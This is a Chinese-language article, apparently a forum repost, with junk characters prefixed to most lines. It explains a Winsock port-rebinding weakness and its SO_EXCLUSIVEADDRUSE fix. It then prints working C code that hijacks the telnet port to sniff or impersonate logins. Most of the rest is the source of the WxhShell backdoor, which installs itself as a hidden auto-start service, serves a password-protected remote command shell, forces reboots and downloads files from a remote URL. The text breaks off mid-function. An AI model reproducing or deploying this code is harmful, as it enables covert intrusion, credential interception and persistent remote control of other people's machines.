在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
s,VXc/ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Ths_CKwgWY / RZR} saddr.sin_family = AF_INET;
fr6^nDY _Yb_D/ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
~0"p*?^ iItcN;;7 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
q*jNH\| W~T}@T:EN 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
#PvB/3 Q3W#`6jpF 这意味着什么?意味着可以进行如下的攻击:
aAvsb$ ;|%dY{L- 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
;E2>Ovv YEu1#N 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
[t\B6XxT }n,Zl>T9 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
:!&;p qMBR *f 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Is<"OQ 1&=0Wg0ig 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
;.sl*q1A t,)N('m}= 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
bZ_mYyBh >M!xiQX 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
_GQz!YA dGfVZDsr] #include
gxPx&Z6jF #include
O^>jdl!TZ #include
UCrh/b Tm #include
3CjL\pIC DWORD WINAPI ClientThread(LPVOID lpParam);
7)rWw<mY int main()
l7(!`NPbC {
%WG9 dYdS WORD wVersionRequested;
aMARZ)V DWORD ret;
W)j|rz. WSADATA wsaData;
?eV(1Fr@ BOOL val;
_STB$cZ SOCKADDR_IN saddr;
[//R ~i? SOCKADDR_IN scaddr;
6!iJ;1PeE int err;
C8N{l:1f] SOCKET s;
uNbH\qd= SOCKET sc;
Hk_y/97OO int caddsize;
cR-~)UyrO HANDLE mt;
nq}Q DWORD tid;
`7aDEzmJ wVersionRequested = MAKEWORD( 2, 2 );
!;@_VWR err = WSAStartup( wVersionRequested, &wsaData );
38V3o`f if ( err != 0 ) {
7DW]JK l printf("error!WSAStartup failed!\n");
`;,Pb&W~ return -1;
p_*M:P1Ma4 }
~d{.ng 4K saddr.sin_family = AF_INET;
9_ICNG% M/PFPJ >` //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
9n]|PEoAB p5=|Y^g ! saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
?8dVH2W. saddr.sin_port = htons(23);
y<R= if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
PeX1wK%f {
!2CL1j0( printf("error!socket failed!\n");
6}~pq1IF{ return -1;
Y /TlE? }
!U_K&f val = TRUE;
-
N>MBn //SO_REUSEADDR选项就是可以实现端口重绑定的
$$i.O} if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
.o%^'m"=D[ {
7x]4`#u printf("error!setsockopt failed!\n");
Sydh2d return -1;
<HWS:'1 }
@4~=CV%j //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
mAgF73,3 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
J`M&{UP //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
|XYEn7^r JN/UUfj if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
?q`0ZuAg\< {
\2[<XG(^ ret=GetLastError();
TG48%L printf("error!bind failed!\n");
\u-0v.+| return -1;
Mj>}zbpk/ }
js^ ,(CS listen(s,2);
o 6 {\Zzp while(1)
S&O3HC {
p]D]:
Z}P caddsize = sizeof(scaddr);
Op.8a`XLt& //接受连接请求
@YvOoTyb sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
yn
AB if(sc!=INVALID_SOCKET)
vq*Q.0 M+ {
VO3pm6r5 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
]e:/" if(mt==NULL)
E! /[gZ {
QR?yG+VU printf("Thread Creat Failed!\n");
$lIWd break;
idc`p?XP }
_Jz8{` " }
\e=_
2^v!_ CloseHandle(mt);
I-D^>\k+ }
:6 J +%(f closesocket(s);
{3a&1'a0g WSACleanup();
XKL3RMF9r return 0;
3gWvmep1 }
)O+}T5c= DWORD WINAPI ClientThread(LPVOID lpParam)
#mR4fst {
Mk<Vydds SOCKET ss = (SOCKET)lpParam;
lLq<xf SOCKET sc;
dhg~$CVO unsigned char buf[4096];
#T K~eHi SOCKADDR_IN saddr;
h/eR long num;
~na!@<zB{ DWORD val;
{yAL+} DWORD ret;
! hd</_# //如果是隐藏端口应用的话,可以在此处加一些判断
s1Ok|31| //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
k;PAh>8 saddr.sin_family = AF_INET;
2A`A\19t saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
%m,6}yt saddr.sin_port = htons(23);
ha@L94Lq if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
c'6g*%2k {
'XQ`g CF= printf("error!socket failed!\n");
<oKGD50# return -1;
$\o{_?}1 }
DDT_kK; val = 100;
xp'_%n~K@ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
l:;PXy6) {
B0$:b! ret = GetLastError();
sKz`aqI return -1;
@[<nQZw: }
s..lK
"b if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
c@[:V {
WtQ8X|\` ret = GetLastError();
4EI7W,y return -1;
gXT9 r' k }
.xzEAu ; if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
{u{@jp {
?SQE5Z printf("error!socket connect failed!\n");
|@?%Ct closesocket(sc);
+cJy._pi! closesocket(ss);
:a8 YV!X return -1;
OV2-8ERS }
6%`&+Lq while(1)
'C$XS>S {
N- e$^pST //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
wHZW ` //如果是嗅探内容的话,可以再此处进行内容分析和记录
@Q&3L~K" //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
I
+5)Jau^S num = recv(ss,buf,4096,0);
)M=ioE8`h if(num>0)
kh~'Cn "O send(sc,buf,num,0);
Mwb/jTp else if(num==0)
r?m+.fJB break;
^L1L=c;, num = recv(sc,buf,4096,0);
D.D$#O_n.S if(num>0)
76tdJ!4Z send(ss,buf,num,0);
\y6OUM2y else if(num==0)
`.x$7!zLC break;
.Xm(D>>k }
~AYN closesocket(ss);
Y^Nuz/ closesocket(sc);
$p!yhn7 return 0 ;
}7fZ[J3 }
^
PI 5L ~vLW.: dpQG[vXe ==========================================================
{ pu85'DV ERwHLA 下边附上一个代码,,WXhSHELL
7e7 M@8+4 =/<LSeLxH ==========================================================
Ze<K=Q%(i UT~a&u #include "stdafx.h"
`k(yZtb s &Dg8$ #include <stdio.h>
W{z.?$SH #include <string.h>
wIkN9
f #include <windows.h>
}(a+aHH #include <winsock2.h>
zX5!vaEv #include <winsvc.h>
['z[ #include <urlmon.h>
7\_o.(g#- a{!QOX%K #pragma comment (lib, "Ws2_32.lib")
8u[-'pV! #pragma comment (lib, "urlmon.lib")
jF`BjxrG Vz14j_ #define MAX_USER 100 // 最大客户端连接数
xw{-9k-~ #define BUF_SOCK 200 // sock buffer
A5,t+8`aci #define KEY_BUFF 255 // 输入 buffer
*5tO0_L EM>}0V #define REBOOT 0 // 重启
%h1N3\y9i( #define SHUTDOWN 1 // 关机
nEzf.[+9/ mw_Ew]& #define DEF_PORT 5000 // 监听端口
*5bLe'^\|K Y_`- 9'& #define REG_LEN 16 // 注册表键长度
!=;XBd- #define SVC_LEN 80 // NT服务名长度
aA7=q= W\1i,ew> // 从dll定义API
f%5zBYCgC typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
[c_|ob] typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
E{6~oZ#L typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
(}. @b|s typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
2Q;9G6p V"cKJ;s // wxhshell配置信息
f7Ul(D:j\ struct WSCFG {
Q{e\}wN int ws_port; // 监听端口
:Xc@3gF char ws_passstr[REG_LEN]; // 口令
O1')nYF7 int ws_autoins; // 安装标记, 1=yes 0=no
zy*/T>{# char ws_regname[REG_LEN]; // 注册表键名
-}K<ni6 char ws_svcname[REG_LEN]; // 服务名
9&<x17' char ws_svcdisp[SVC_LEN]; // 服务显示名
B|o2K}%f char ws_svcdesc[SVC_LEN]; // 服务描述信息
\OlmF<~ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
?UM*Xah int ws_downexe; // 下载执行标记, 1=yes 0=no
5s(1[( char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
5SCKP<rb char ws_filenam[SVC_LEN]; // 下载后保存的文件名
04r$>#E L(GjZAP };
`3p~m, gGfoO[B // default Wxhshell configuration
8Sz})UZ struct WSCFG wscfg={DEF_PORT,
Spt?>sm "xuhuanlingzhe",
Y8flrM2CwG 1,
= k\J< "Wxhshell",
:qC'$dO! "Wxhshell",
r1RG TEkD "WxhShell Service",
+{sqcr1G "Wrsky Windows CmdShell Service",
s/089jlc "Please Input Your Password: ",
)O:0]=#)) 1,
h gJ[LU| > "
http://www.wrsky.com/wxhshell.exe",
|>@W
]CX[ "Wxhshell.exe"
G[jW<'f };
iQ{G(^sZN _X?^Cy // 消息定义模块
ctcS:<r/3@ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
V|\7')Qq char *msg_ws_prompt="\n\r? for help\n\r#>";
$XoQ]}"O char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
QeF3qXI char *msg_ws_ext="\n\rExit.";
FVhU^ char *msg_ws_end="\n\rQuit.";
.F+@B\A< char *msg_ws_boot="\n\rReboot...";
DBP9{ x$ char *msg_ws_poff="\n\rShutdown...";
8QMPY[{ char *msg_ws_down="\n\rSave to ";
!ct4;.2
D I-OJVZ( V char *msg_ws_err="\n\rErr!";
a22XDes= char *msg_ws_ok="\n\rOK!";
q+,Q<2J 4tY ss char ExeFile[MAX_PATH];
f 2l{^E#h int nUser = 0;
E!S 78z: HANDLE handles[MAX_USER];
nS>8bub30 int OsIsNt;
[$[:"N_ (XoH,K?{z SERVICE_STATUS serviceStatus;
+>JjvYx}\ SERVICE_STATUS_HANDLE hServiceStatusHandle;
RejQ5'Neh bV/jfV"%E // 函数声明
>LDhU%bH int Install(void);
?7{H|sI int Uninstall(void);
eF2|Wjl``; int DownloadFile(char *sURL, SOCKET wsh);
sH\5/'? int Boot(int flag);
o.I6ulY8 void HideProc(void);
l&?ii68/ int GetOsVer(void);
s=CK~+,/ int Wxhshell(SOCKET wsl);
w6j/ Dq! void TalkWithClient(void *cs);
2;w*oop,O int CmdShell(SOCKET sock);
5h; +Ky!I int StartFromService(void);
~Jf{4*>y int StartWxhshell(LPSTR lpCmdLine);
zXRlo] /hO1QT}xd VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
orb_"Qw VOID WINAPI NTServiceHandler( DWORD fdwControl );
O$cHZs$ ~K@'+5Pc // 数据结构和表定义
2WG>, 4W2 SERVICE_TABLE_ENTRY DispatchTable[] =
y|wc,n%L> {
?,/U^rf^4 {wscfg.ws_svcname, NTServiceMain},
z?35=%~w {NULL, NULL}
(y^vqMz };
1) Zf3Y8 n?V+dC=F} // 自我安装
-lv)tHs< int Install(void)
g:EVhuK {
1@$Ko5 char svExeFile[MAX_PATH];
fDSv?crv HKEY key;
P9 Z}H(?C strcpy(svExeFile,ExeFile);
)2M>3C6>f ~y7jCcd` // 如果是win9x系统,修改注册表设为自启动
=9T$Gr if(!OsIsNt) {
64
5z#_}C$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
8U_{|]M
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
=G]@+e RegCloseKey(key);
Dih3}X&jn$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
{AQ=<RDRF RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
}}<z/zN&^ RegCloseKey(key);
c/uNM return 0;
x#:| }pR }
%; D.vKoh }
G$sA`<< }
71l%MH else {
TiH)5 b5^OQH{v // 如果是NT以上系统,安装为系统服务
4ni3kmvX SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
M+x,opl if (schSCManager!=0)
"!EcbR {
Fgh]KQ/5 SC_HANDLE schService = CreateService
QPq7R (
b6*!ACY schSCManager,
]~Z6; wscfg.ws_svcname,
ZWS`\M wscfg.ws_svcdisp,
SCTA=l. SERVICE_ALL_ACCESS,
YX#-nyK SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
I"`M@ % SERVICE_AUTO_START,
9VbOQ {8 SERVICE_ERROR_NORMAL,
R=KQ svExeFile,
vI@%Fg+D NULL,
wiBVuj# NULL,
FJd]D[h NULL,
qcT'nZ:
NULL,
*2GEnAZb7n NULL
e$pMsw'MJ );
BX yo if (schService!=0)
y.q(vzg\_ {
x+]\1p CloseServiceHandle(schService);
s8h-,@p CloseServiceHandle(schSCManager);
)K2HK&t: strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
&
j+oJasI strcat(svExeFile,wscfg.ws_svcname);
M8TSt\ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
-neKuj
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
uAWM\? RegCloseKey(key);
7>~5jYP return 0;
of@#:Qs }
c}0@2Vf }
,f&5pw
= CloseServiceHandle(schSCManager);
ivz{L- }
*2X0^H|dS }
3=L.uXVb Ft!],n-n* return 1;
Tq~=TSD }
vz!s~cAt h3;bxq!q // 自我卸载
RG4 sQ0 int Uninstall(void)
/7YF mI/0 {
YSe.t_K2C HKEY key;
~JH:EB: _hk.2FV:3m if(!OsIsNt) {
T'b_W,m~,u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
=*LS%WI RegDeleteValue(key,wscfg.ws_regname);
%x}
O1yV RegCloseKey(key);
n9xAPB } if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
tmtT( RegDeleteValue(key,wscfg.ws_regname);
::/j$bL RegCloseKey(key);
9U%N@Dq`Z return 0;
0MdDXG-7 }
YGsWu7dG }
d09k5$=gJ }
cx0*X* else {
BGu?<bET a 7,C>%I SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
AoI/n4T^ if (schSCManager!=0)
xoR;=ph {
bv*,#Qm SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
aVd,xl if (schService!=0)
_:"<[ >9 {
,xx R\} if(DeleteService(schService)!=0) {
9\DQ>V TQ CloseServiceHandle(schService);
`9b7>Nn< CloseServiceHandle(schSCManager);
fP `b>]N_ return 0;
1N>|yQz }
J":,Vd!*- CloseServiceHandle(schService);
,kn">k9 }
'u1?tQ=gmk CloseServiceHandle(schSCManager);
Ez-[
)44/ }
2]ape !( }
>cCR2j,r go<W( ,O return 1;
..R-Ms)k= }
[bk?!0]aV KFwzy U" // 从指定url下载文件
yu/`h5&* int DownloadFile(char *sURL, SOCKET wsh)
}x
wu*Zx {
B[4KX HRESULT hr;
S9",d~EM char seps[]= "/";
8zR~d%pK char *token;
k'5?M char *file;
ksN+?E4w char myURL[MAX_PATH];
}I2@%tt? char myFILE[MAX_PATH];
;IokThI sK5r$Dbr strcpy(myURL,sURL);
a)'5Nw9* token=strtok(myURL,seps);
%&Q$dzgb_ while(token!=NULL)
aWY
gR {
!!? Mw file=token;
BFOq8}fX2 token=strtok(NULL,seps);
}-6)gWe }
pn5Q5xc 3z&Fi;<+j GetCurrentDirectory(MAX_PATH,myFILE);
TTTPxO, strcat(myFILE, "\\");
?CA, strcat(myFILE, file);
8Bjib&im send(wsh,myFILE,strlen(myFILE),0);
c. 2).Jt, send(wsh,"...",3,0);
Oal3rb hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Q{lpKe0 if(hr==S_OK)
OUNd@o return 0;
Yn G_m] else
2mGaD\?K return 1;
qCnZhJ wGP;Vbk }
6Z%U`,S q*7VqB // 系统电源模块
5w@4:$=I int Boot(int flag)
] A+?EE2/ {
[+DW >Et HANDLE hToken;
<U\B!fO' TOKEN_PRIVILEGES tkp;
gY8>6'~mS !_cg\KU# if(OsIsNt) {
{R?U.eJW OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
w_{wBL[3e LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
hK,Sf ;5V tkp.PrivilegeCount = 1;
7w6cwHrL@ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
F ;2w1S^ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
trp0V4b8 if(flag==REBOOT) {
[S>2ASj if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
AGYc |; return 0;
#a8B/- }
VN\W]jT else {
(j3xAA if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
YS *9t
Q{ return 0;
{*I``T_+ }
xe`
</ }
5X:*/FuS@ else {
ry` z(f if(flag==REBOOT) {
ZU%[guf if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
>)M`IU[d^. return 0;
OD6\Mr2= }
sv&;Y\2c else {
B2'i7Ps if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
EKsT~SS return 0;
;k>&FWEG }
|~vI3]}fx }
ikvWh<=>H qtQ6cqLd return 1;
u*ObwcI/Bn }
u /\EtSH .G#8a1# // win9x进程隐藏模块
+N:o-9 void HideProc(void)
zM(vr"U {
=aBctd:eX` ne_TIwf w- HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
t~#zMUfac if ( hKernel != NULL )
mSb#Nn6W {
Ke2ccN pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
&N\jG373 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
qfMo7e@6* FreeLibrary(hKernel);
[8*jw'W|[ }
^!<BQP7 L"4mL, return;
^5h]Y;tx }
;E3>ay6m8 <?riU\-]y // 获取操作系统版本
lY?QQ01D int GetOsVer(void)
Ne[7gxpu {
< v@9#c OSVERSIONINFO winfo;
q$B>|y U winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
EkjN{$* GetVersionEx(&winfo);
O\"3J(y, if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
xQ^E"Q,1 return 1;
YW( Qmo7 else
\1fN0e return 0;
hM6PP7XH }
@W[f1 ,>0* @2 // 客户端句柄模块
eQp4|rf int Wxhshell(SOCKET wsl)
KmA;HiH%J {
$+Z) SOCKET wsh;
"2)H'< struct sockaddr_in client;
,P70Jb DWORD myID;
jw^<IMAG\8 hp 5|@ while(nUser<MAX_USER)
'+?"iVVo {
ZK@N5/H( int nSize=sizeof(client);
j/f?"VEr wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
[d1mLJAR if(wsh==INVALID_SOCKET) return 1;
]pNvxXbeW y)W@{@{kl handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
2ZG5<"DQ" if(handles[nUser]==0)
[f1
(`< closesocket(wsh);
oPXkYW else
o:3dfO%nuM nUser++;
iB%gPoDCL@ }
w~"KA6^ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Kgi<UkFP X[&Wkr8x ' return 0;
P(,p'I;j }
DVB{2~7 4 -ZRO@&tMD // 关闭 socket
N343qU void CloseIt(SOCKET wsh)
B&[M7i {
W;'!gpa closesocket(wsh);
x7jC)M<k0 nUser--;
ZjQ
|Wx ExitThread(0);
#><.oreXq }
V-Sd[ h?BFvbAt // 客户端请求句柄
C/vIEYG4 void TalkWithClient(void *cs)
AGQ#$fh>7= {
%S*{9hm/ 'rO!AcdLU SOCKET wsh=(SOCKET)cs;
E[@ u
3i8 char pwd[SVC_LEN];
$RIecv<e_ char cmd[KEY_BUFF];
t\{'F7 char chr[1];
&]v4@%<J int i,j;
vY${;#~| R`DKu= while (nUser < MAX_USER) {
|"/8XA %_RQx2 if(wscfg.ws_passstr) {
D#il* if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
/H(?
2IHC //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
+;N2p1ZBf //ZeroMemory(pwd,KEY_BUFF);
VEqS;~[ i=0;
}L+L"l& while(i<SVC_LEN) {
A+"ia1p,} bm?sbE // 设置超时
T>x&T9 fd_set FdRead;
K;>9ZZtl struct timeval TimeOut;
v9w'!C)b FD_ZERO(&FdRead);
5Iy;oZ FD_SET(wsh,&FdRead);
K]s[5 TimeOut.tv_sec=8;
C":32_q TimeOut.tv_usec=0;
Gb#Cm] int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
>L;eO'D if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
*W0y: 3dB3 kI
4MiK if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Bm.:^:&k pwd
=chr[0]; #fM#p+v
if(chr[0]==0xd || chr[0]==0xa) { `e}bdj
pwd=0; ftvG\T f
break; ~sl{ |E
} =vDEfO/T
i++; w+#C-&z
} a(kg/s
@SJL\{_
// 如果是非法用户,关闭 socket tiB_a}5IB
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6r"eN%m
} wkA+j9.
!}v=N";c
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p^%YBY#,H
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =j5MFX.-o
-Zf@VW,NI
while(1) { s+,OxRVw(
6*B1 9+-
ZeroMemory(cmd,KEY_BUFF); ?s\:hNNY
2N~Fg^xB
// 自动支持客户端 telnet标准 &x[E;P*Fg
j=0; }!"A! ~&
while(j<KEY_BUFF) { P&9Gga^I
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v 1z
cmd[j]=chr[0]; \K@'Z
if(chr[0]==0xa || chr[0]==0xd) { Cjqklb/
cmd[j]=0; iop2L51eJ
break; C([phT;
} ^W'fA{sr
j++; !%^^ \,
} z=rT%lz6
# {w9s0:
// 下载文件
ZHU5SXu
if(strstr(cmd,"http://")) { [ oL.+
send(wsh,msg_ws_down,strlen(msg_ws_down),0); h U`wVy
if(DownloadFile(cmd,wsh)) Gn|F`F
send(wsh,msg_ws_err,strlen(msg_ws_err),0); M m[4yP%
else 0fF(Z0R,
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WHsgjvh"
} n[ T[DCQ,
else { p7veQ`yNc
*BR~}1
i
switch(cmd[0]) { ;>
_$`
ORyE`h
// 帮助 NO|KVZ~
case '?': { iF-6Y0~8
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S{PJUAu
break; {["\.ZS|
} ?u/@PR\D
// 安装 pP*zq"o
case 'i': { C\/xl#e<@
if(Install()) co~Pyj
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :=/85\P0SU
else !/}O>v~o
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =Z P%mW&;}
break; WM| dKF
} |uqf:V`z:
// 卸载 #w,Dwy
case 'r': { 7ePqmB<.
if(Uninstall()) 0vEoGgY0*:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); As 3.Q(#Z
else LQ(yScA@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [s"O mAy4
break; 4{hps.$?~
} X%Z{K-
// 显示 wxhshell 所在路径 @y='^DQ*
case 'p': { 9:ze{ c $
char svExeFile[MAX_PATH]; : >6F+XZ
strcpy(svExeFile,"\n\r"); MHh~vy'HB5
strcat(svExeFile,ExeFile); Wc,~ {
send(wsh,svExeFile,strlen(svExeFile),0); w.H%R-Be
break; OUeyklw
} RIb4!!',c
// 重启 )-0kb~;|
case 'b': { $nb[G$
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3a?o3=
if(Boot(REBOOT)) @6{~05.p
send(wsh,msg_ws_err,strlen(msg_ws_err),0); cxA ^:3
else { gZLP\_CL
closesocket(wsh); IhA5Wt0j
ExitThread(0); 12;8o<~
} 4SlADvGl
break; : YXX8|>
} AG!w4Ky`
// 关机 POdUV
case 'd': { } \HN&@
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *
mOo@+89
if(Boot(SHUTDOWN)) eZ|%<Wpu
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |$Xl/)Oq
else { >#hO).`C
closesocket(wsh); FN\E*@>X=
ExitThread(0); 4 !y%O
} j Dy-)2<
break; .2%zC & ;
} T(f/ ?_%
// 获取shell Po ZuMF
case 's': { -u2P ?~
CmdShell(wsh); SS$[VV
closesocket(wsh); {DU`[:SQZg
ExitThread(0); oASY7k_3
break; }emN9Rj
} 2$?C7(kW
// 退出 -i)ZQCE
case 'x': { ny`#%Vs
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0BIy>wy:
CloseIt(wsh); t.laO. 3
break; /9HVY
%n
} k Mu8"Az
// 离开 *^f<W6xc
case 'q': { lTd #bN
send(wsh,msg_ws_end,strlen(msg_ws_end),0); x7~r,x(xM
closesocket(wsh); rW+ =,L
WSACleanup(); H-~6Z",1
exit(1); QA<Jr5Ys
break; `&D|>tiz
} GM3f-\/
} cm?\
-[cV
} P8>~c9$I
^c&L,!_)H
// 提示信息 Wn(6,MDUN
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kO|L bQ@=q
} bsB*533
} :/Q
\~fONBY
return; {5F-5YL+>
} +n#V[~~8AI
$e*ce94
// shell模块句柄 AS\F{ !O
int CmdShell(SOCKET sock) BaSZ71>9]r
{ cFeXpj?GV
STARTUPINFO si;
yls
^ cyX
ZeroMemory(&si,sizeof(si)); v#.r.{t
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7T1=q{#M
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z"0I>gl
PROCESS_INFORMATION ProcessInfo; 8Le||)y,\
char cmdline[]="cmd"; (>r[-Bft
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Cq%IE^g<
return 0; )rekY;
} D|Q#gcWp o
m06ALD_
// 自身启动模式 {buo^kgj`]
int StartFromService(void) @}@Z8$G^
{ O*0l+mop
typedef struct YhDtUt}?
{ 8=gjY\Dp
DWORD ExitStatus; M+w=O!dq
